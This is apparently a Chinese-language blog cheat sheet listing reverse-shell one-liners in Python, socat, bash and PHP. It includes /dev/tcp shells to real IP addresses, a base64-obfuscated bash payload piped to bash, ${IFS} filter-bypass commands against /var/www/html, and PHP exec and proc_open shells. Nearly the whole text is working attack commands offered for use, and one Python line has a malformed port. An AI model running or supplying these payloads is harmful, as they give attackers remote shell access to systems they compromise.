各种语言反弹shell (持续更新)
2017-07-14 本文已影响160人
王一航
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",44 );os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
socat
这个应该是功能最全的反弹shell了
并不是一个伪终端 , 可以在其中使用 vim , ssh -D 等等工具
但是如果目标机器没有安装 socat , 可能需要从源码编译一遍
socat file:`tty`,raw,echo=0 tcp-listen:8888
socat tcp-connect:8.8.8.8:8888 exec:’bash -li’,pty,stderr,setsid,sigint,sane
bash
/bin/bash -c 'sh -i >& /dev/tcp/8.8.8.8/4444 0>&1'
/bin/bash -c 'sh -i >& /dev/tcp/123.207.40.26/8888 0>&1'
echo "L2Jpbi9iYXNoIC1jICdzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMjA3LjQwLjI2Lzg4ODggMD4mMSc="|base64 -d|bash
ls${IFS}/var/www/html|head${IFS}-n${IFS}1
ls${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head${IFS}-n${IFS}1
php
# 1. 利用 exec 函数
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/4444 0>&1"');?>
# 2. 在 P神 的博客里面翻出来的 , 原理类似 , 都是使用流的重定向
php -r '$sock=fsockopen($ip, $port);exec("/bin/sh -i <&3 >&3 2>&3");'
# 3. 再来膜一发 P神
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);